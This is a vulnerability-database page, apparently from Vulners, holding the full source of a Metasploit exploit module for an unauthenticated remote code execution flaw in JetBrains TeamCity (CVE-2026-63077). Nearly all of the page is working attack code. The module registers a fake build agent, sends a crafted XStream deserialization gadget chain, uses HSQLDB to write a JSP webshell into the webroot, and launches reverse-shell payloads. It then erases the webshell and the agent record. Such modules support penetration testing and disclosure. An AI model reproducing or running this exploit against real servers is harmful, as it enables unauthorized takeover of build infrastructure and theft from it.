Lucene search
+L

JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution

🗓️ 27 Jul 2026 00:00:00Reported by Antoni Tremblay, sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

Unauthenticated RCE in JetBrains TeamCity via XStream deserialization in agent polling.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling
          protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response
          that causes TeamCity to deserialize an attacker-controlled object graph.

          The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB
          initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file
          executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and
          removes the build agent registered by the module.

          This vulnerability was patched in TeamCity version 2025.11.7, and version 2026.1.3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Antoni Tremblay', # Discovery
          'sfewer-r7' # Analysis, PoC, and Metasploit module
        ],
        'References' => [
          ['CVE', '2026-63077'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/'],
          ['URL', 'https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/'],
          ['URL', 'https://github.com/sfewer-r7/CVE-2026-63077/']
        ],
        'DisclosureDate' => '2026-07-27',
        'Privileged' => false, # TeamCity may run as root or SYSTEM, but may also be a lower priv service account.
        # Tested against:
        # * TeamCity 2026.1.2 (build 222647) running on Windows Server 2025
        'Targets' => [
          [
            'Java Server Page',
            # Tested with payloads (on both Windows and Linux):
            # * java/jsp_shell_reverse_tcp
            {
              'Arch' => ARCH_JAVA,
              'Platform' => ['win', 'unix', 'linux']
            }
          ],
          [
            'Windows Command',
            # Tested with payloads:
            # * cmd/windows/http/x64/meterpreter_reverse_tcp
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Payload' => {
                'BadChars' => "\r\n\"\\'"
              }
            }
          ],
          [
            'Linux Command',
            # Tested with payloads:
            # * cmd/linux/http/x64/meterpreter_reverse_tcp
            # * cmd/unix/reverse_bash
            # * cmd/unix/reverse_netcat
            {
              'Arch' => ARCH_CMD,
              'Platform' => ['unix', 'linux'],
              'Payload' => {
                'BadChars' => "\r\n\"\\'"
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8111),
      OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/'])
    ])

    register_advanced_options([
      # HSQLDB's SCRIPT statement resolves this path from the TeamCity server process working directory.
      OptString.new('WebRootRelative', [true, 'The TeamCity webroot relative to the server process working directory', '../webapps/ROOT'])
    ])
  end

  def check
    # login.html is available without authentication and exposes both the product headers and version string we need.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.html')
    )

    return CheckCode::Unknown('Connection failed') unless res

    # Either marker is sufficient because both the cluster node header and session cookie are specific to TeamCity.
    teamcity_detected = res.headers.include?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')

    return CheckCode::Unknown('The target does not appear to be JetBrains TeamCity') unless teamcity_detected

    # TeamCity renders versions as YYYY.release[.patch] followed by its numeric build identifier.
    version_match = res.body.match(/(?<version>\d{4}\.\d+(?:\.\d+)?) \(build (?<build>\d+)\)/)

    return CheckCode::Detected('JetBrains TeamCity detected, but the version could not be determined') unless version_match

    version = Rex::Version.new(version_match[:version])

    detected = "JetBrains TeamCity #{version} (build #{version_match[:build]}) detected."

    # The 2025.11 and 2026.1 release branches have different first fixed versions. Bound the 2025.11 comparison so a
    # later 2026.1 release is judged against its own fix rather than the numerically lower 2025.11.7 version.
    if version >= Rex::Version.new('2026.1.3') || (version >= Rex::Version.new('2025.11.7') && version < Rex::Version.new('2026.1.0'))
      return CheckCode::Safe(detected)
    end

    # NOTE: The security patch plugin for TeamCity 2017.1 and later is not detectable via the HTTP interface, so we
    # cannot reliably determine if the target is patched. We assume that any vulnerable version is exploitable.
    # https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
    CheckCode::Appears(detected)
  end

  def exploit
    registration_xml = build_registration_xml

    print_status('Registering a TeamCity build agent')

    # We first need to register a new agent, so we can retrieve an agent id, required to later reach the unsafe
    # deserialization endpoint.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'register'),
      'ctype' => 'application/xml',
      'data' => registration_xml
    )

    fail_with(Failure::Unreachable, 'No response received while registering the build agent') unless res

    fail_with(Failure::UnexpectedReply, "Agent registration returned HTTP #{res.code}") unless res.code == 200

    # The polling endpoint accepts commands only when they carry the session identifier returned at registration. Its
    # numeric prefix identifies the agent so the JSP payload can later remove the corresponding TeamCity database record.
    agent_session_id = res.headers['TeamCity-AgentSessionId']

    vprint_status("Registered new agent with a TeamCity-AgentSessionId: #{agent_session_id}")

    fail_with(Failure::UnexpectedReply, 'Agent registration did not return a TeamCity-AgentSessionId header') if agent_session_id.blank?

    agent_id = agent_id_from_session(agent_session_id)

    print_status('Sending the XStream deserialization payload')

    deserialization_payload = build_deserialization_payload(agent_id)

    # Trigger the vulnerability and execute a gadget chain via unsafe deserialization in the error endpoint. The
    # gadget chain will write a malicious JSP file to disk (under a .jspws extension). We use this JSP file to execute
    # a Metasploit JSP or CMD payload.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'commands', 'error'),
      'ctype' => 'application/xml',
      'headers' => {
        'TeamCity-AgentSessionId' => agent_session_id,
        # TeamCity expects an agent command identifier; a random value avoids collisions with other polling traffic.
        'TeamCity-AgentCommandId' => rand(100_000..999_999).to_s
      },
      'data' => deserialization_payload[:payload_xml]
    )

    fail_with(Failure::Unreachable, 'No response received from the deserialization endpoint') unless res

    # We expect an HTTP 500 response after the unsafe deserialization occurs.
    fail_with(Failure::UnexpectedReply, "Deserialization endpoint returned HTTP #{res.code}") unless res.code == 500

    print_status("Requesting the JSPWS payload at #{deserialization_payload[:jsp_uri]}")

    # Now we can trigger the JSP payload we dropped.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, deserialization_payload[:jsp_uri])
    )

    fail_with(Failure::Unreachable, 'No response received while requesting the JSPWS payload') unless res

    # The unique response token is emitted only after payload execution has succeeded.
    unless res.code == 200 && res.body.include?(deserialization_payload[:response_token])
      fail_with(Failure::UnexpectedReply, "The JSPWS payload did not return the expected response token (HTTP #{res.code})")
    end

    print_good('The JSPWS payload was executed successfully')
  end

  # Extracts the numeric agent identifier from TeamCity's <agent id>:<authorization token> polling-session format. The
  # JSP needs the server-assigned identifier to remove only the agent registered by this exploit attempt.
  def agent_id_from_session(agent_session_id)
    agent_id_match = agent_session_id.match(/\A(?<agent_id>[1-9][0-9]*):.+\z/)

    fail_with(Failure::UnexpectedReply, 'Agent registration returned an invalid TeamCity-AgentSessionId header') unless agent_id_match

    agent_id_match[:agent_id].to_i
  end

  # Builds the minimal agentDetails document needed to obtain an unauthenticated agent session.
  def build_registration_xml
    identifiers = Rex::RandomIdentifier::Generator.new

    Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
      xml.agentDetails(
        'agentName' => identifiers[:agent_name],
        'agentAddress' => '127.0.0.1',
        'agentPort' => rand(1024..65_535).to_s,
        'authToken' => identifiers[:auth_token],
        'pingCode' => ''
      ) do
        xml.alternativeAddresses
        xml.availableRunners
        xml.availableVcs
        xml.buildParameters
        xml.configParameters
      end
    end.to_xml
  end

  # Builds the XStream object graph that reaches BasicDataSource#getConnection and returns the XML with the generated
  # JSP URI and response token.
  #
  # For additional details of the object graph and its reference paths, see:
  # https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
  def build_deserialization_payload(agent_id)
    # Java accepts forward slashes on Windows and Unix. Normalize the path separators and remove trailing separators
    # before appending the generated JSP filename.
    webroot_relative = datastore['WebRootRelative'].tr('\\', '/').sub(%r{/+\z}, '')

    # Reject values that cannot represent the intended single filesystem path before placing the value in SQL.
    if webroot_relative.empty? || webroot_relative.match?(/[\x00\r\n]/)
      fail_with(Failure::BadConfig, 'WebRootRelative must identify a directory on a single line')
    end

    identifiers = Rex::RandomIdentifier::Generator.new

    # TeamCity maps the .jspws extension to its JSP servlet. We cannot execute a .jsp file directly as the
    # TeamCity servlet that handles .jsp will block it, so we target .jspws instead.
    filename = "#{identifiers[:file_id]}.jspws"

    # The URI is both embedded in the JSP self-deletion code and returned to #exploit for the trigger request.
    jsp_uri = "/#{filename}"

    # Generate the selected ARCH_JAVA or ARCH_CMD JSP, a response token that confirms execution, and agent cleanup.
    jsp, response_token = build_jsp(jsp_uri, agent_id)

    # Escape the JSP so we can write it into the SQL (and calculate the VARCHAR length).
    jsp_string_literal = hsqldb_string_literal(jsp)

    # HSQLDB resolves this relative filename when the SCRIPT statement writes the database contents into the webroot.
    output_path = "#{webroot_relative}/#{filename}"

    # The first two statements store the JSP in a table row. SCRIPT then serializes that row into a SQL/JSP polyglot at
    # the chosen webroot path. The escaped literal length conservatively guarantees the VARCHAR can hold the decoded JSP.
    init_sql = [
      "CREATE TABLE IF NOT EXISTS #{identifiers[:table_name]}(#{identifiers[:column_name]} VARCHAR(#{jsp_string_literal.length}))",
      "INSERT INTO #{identifiers[:table_name]} VALUES (#{jsp_string_literal})",
      "SCRIPT #{hsqldb_string_literal(output_path)}"
    ]

    payload_xml = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
      xml.send('linked-hash-map') do
        # Stage 1 uses an allowed TeamCity Throwable hierarchy to allocate otherwise denied HSQL storage and
        # BasicDataSource objects without introducing another class node that XStream would reject.
        xml.entry do
          xml.string(identifiers[:first_map_entry])
          xml.send('jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException') do
            xml.send('outer-class') do
              xml.myHSQLStorage do
                xml.myDataSource do
                  # Recreate the serialized DBCP BasicDataSource state expected by the target version. The in-memory
                  # HSQLDB URL avoids relying on an existing database and connectionInitSqls carries the file-write SQL.
                  xml.defaultTransactionIsolation('-1')
                  xml.cacheState('true')
                  xml.driverClassName('org.hsqldb.jdbc.JDBCDriver')
                  xml.lifo('true')
                  xml.maxTotal('8')
                  xml.maxIdle('8')
                  xml.minIdle('0')
                  xml.initialSize('0')
                  xml.maxWaitMillis('-1')
                  xml.poolPreparedStatements('false')
                  xml.clearStatementPoolOnReturn('false')
                  xml.maxOpenPreparedStatements('-1')
                  xml.testOnCreate('false')
                  xml.testOnBorrow('true')
                  xml.testOnReturn('false')
                  xml.timeBetweenEvictionRunsMillis('-1')
                  xml.numTestsPerEvictionRun('3')
                  xml.minEvictableIdleTimeMillis('1800000')
                  xml.softMinEvictableIdleTimeMillis('-1')
                  xml.evictionPolicyClassName('org.apache.commons.pool2.impl.DefaultEvictionPolicy')
                  xml.testWhileIdle('false')
                  xml.password
                  xml.url("jdbc:hsqldb:mem:#{identifiers[:database_name]}")
                  xml.userName('SA')
                  xml.validationQueryTimeoutSeconds('-1')
                  # DBCP executes these statements when the final gadget requests a new connection.
                  xml.connectionInitSqls do
                    init_sql.each { |statement| xml.string(statement) }
                  end
                  xml.accessToUnderlyingConnectionAllowed('false')
                  xml.maxConnLifetimeMillis('-1')
                  xml.logExpiredConnections('true')
                  xml.autoCommitOnReturn('true')
                  xml.rollbackOnReturn('true')
                  xml.fastFailValidation('false')
                  xml.connectionProperties
                  xml.closed('false')
                end
                xml.myStopped('false')
                xml.myDatabaseOpen('false')
              end
            end
          end
        end

        # Stage 2 reconstructs FreeMarker wrappers and uses reference-only nodes to relocate the existing
        # BasicDataSource into a BooleanModel without causing XStream to perform another denied type check.
        xml.entry do
          xml.string(identifiers[:second_map_entry])
          xml.send('freemarker.ext.beans.HashAdapter') do
            xml.wrapper do
              xml.sharedIntrospectionLock
              xml.classIntrospector do
                xml.exposureLevel('0')
                xml.exposeFields('false')
                xml.treatDefaultMethodsAsBeanMembers('false')
                xml.incompatibleImprovements do
                  xml.major('2')
                  xml.minor('3')
                  xml.micro('0')
                  xml.intValue('2003000')
                  xml.calculatedStringValue('2.3.0')
                  xml.hashCode('0')
                end
                xml.hasSharedInstanceRestrictions('false')
                xml.shared('false')
                # Reuse the lock object already created in the wrapper to preserve FreeMarker's expected object identity.
                xml.sharedLock('reference' => '../../sharedIntrospectionLock')
                xml.cache
                xml.cacheClassNames
                xml.classIntrospectionsInProgress
                xml.modelFactories
                xml.clearingCounter('0')
              end
              xml.falseModel do
                # Point the model at the Stage 1 BasicDataSource; BeanModel will later expose its connection property.
                xml.object('reference' => '../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource')
                # Reuse the enclosing BeansWrapper rather than instantiating a second wrapper with inconsistent state.
                xml.wrapper('reference' => '../..')
                xml.value('false')
              end
              xml.writeProtected('false')
              xml.defaultDateType('0')
              xml.methodsShadowItems('true')
              xml.simpleMapWrapper('false')
              xml.strict('false')
              xml.preferIndexedReadMethod('true')
              xml.incompatibleImprovements('reference' => '../classIntrospector/incompatibleImprovements')
            end
            # HashAdapter delegates map lookups to this model, which now wraps the BasicDataSource object.
            xml.model('reference' => '../wrapper/falseModel')
          end
        end

        # Stage 3 places TiedMapEntry in a HashSet. Recomputing its hash asks HashAdapter for the "connection" key,
        # causing FreeMarker to invoke BasicDataSource#getConnection and execute the HSQLDB initialization statements.
        xml.entry do
          xml.string(identifiers[:third_map_entry])
          xml.set do
            xml.send('org.apache.commons.collections.keyvalue.TiedMapEntry') do
              # Reference the Stage 2 adapter so deserialization follows the already-approved object graph.
              xml.send('map', 'class' => 'freemarker.ext.beans.HashAdapter', 'reference' => '../../../../entry[2]/freemarker.ext.beans.HashAdapter')
              xml.key('connection', 'class' => 'string')
            end
          end
        end
      end
    end.to_xml

    # The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution.
    { payload_xml: payload_xml, jsp_uri: jsp_uri, response_token: response_token }
  end

  # Produces the JSP source appropriate for the selected target. ARCH_JAVA payloads are already complete JSP documents;
  # ARCH_CMD payloads must first be embedded in a Runtime.exec wrapper before receiving the common cleanup trailer.
  def build_jsp(jsp_uri, agent_id)
    jsp_identifiers = Rex::RandomIdentifier::Generator.new(language: :jsp)

    if target['Arch'] == ARCH_JAVA
      return build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
    end

    build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
  end

  # Wraps an ARCH_CMD payload in a small JSP scriptlet that invokes the target operating system's command interpreter.
  # The wrapper is required because command payloads are shell text rather than directly executable JSP source.
  def build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, command)
    executable, argument = target['Platform'] == 'win' ? ['cmd.exe', '/c'] : ['/bin/sh', '-c']

    jsp_payload = <<~JSP
      <%
          java.lang.String[] #{jsp_identifiers[:command_array]} = new java.lang.String[]{"#{executable}", "#{argument}", "#{command}"};
          java.lang.Runtime.getRuntime().exec(#{jsp_identifiers[:command_array]});
      %>
    JSP

    build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
  end

  # Appends the response token printing, self-deletion, and agent cleanup to a JSP payload. The response token is
  # deliberately emitted first, so receiving it confirms payload execution, before anything else is attempted.
  def build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
    jsp = <<~JSP
      #{jsp_payload}
      <%
        out.print("#{jsp_identifiers[:response_token]}");

        java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("#{jsp_uri}")));

        final org.springframework.web.context.WebApplicationContext #{jsp_identifiers[:spring_context]} =
          jetbrains.buildServer.maintenance.TeamCityDispatcherServlet.SPRING_CONTEXT;

        if (#{jsp_identifiers[:spring_context]} != null) {
          final jetbrains.buildServer.serverSide.SecurityContextEx #{jsp_identifiers[:security_context]} =
            (jetbrains.buildServer.serverSide.SecurityContextEx) #{jsp_identifiers[:spring_context]}.getBean("securityContext");

          final jetbrains.buildServer.serverSide.BuildAgentManagerEx #{jsp_identifiers[:agent_manager]} =
            (jetbrains.buildServer.serverSide.BuildAgentManagerEx) #{jsp_identifiers[:spring_context]}.getBean("agentManager");

          #{jsp_identifiers[:security_context]}.runAsSystemUnchecked(
            new jetbrains.buildServer.serverSide.SecurityContextEx.RunAsAction() {
              public void run() throws java.lang.Throwable {
                #{jsp_identifiers[:agent_manager]}.unregisterAgent(#{agent_id}, "");

                jetbrains.buildServer.serverSide.BuildAgentEx #{jsp_identifiers[:agent]} =
                  #{jsp_identifiers[:agent_manager]}.findAgentById(#{agent_id}, true);

                if (#{jsp_identifiers[:agent]} != null) {
                  #{jsp_identifiers[:agent_manager]}.removeAgent(#{jsp_identifiers[:agent]}, null);
                }
              }
            }
          );
        }
      %>
    JSP

    [
      # The HSQLDB SCRIPT output writes each table row on one physical line. Compact the JSP so the SQL/JSP polyglot
      # remains a single valid JSP after the database serializes it.
      jsp.lines.map(&:strip).reject(&:empty?).join(' '),
      jsp_identifiers[:response_token]
    ]
  end

  # Quotes an arbitrary value as an HSQLDB string literal. SQL represents an embedded single quote by doubling it, so
  # this helper is required before JSP source or filesystem paths are placed into initialization statements.
  def hsqldb_string_literal(value)
    "'#{value.gsub("'", "''")}'"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.86518
SSVC
14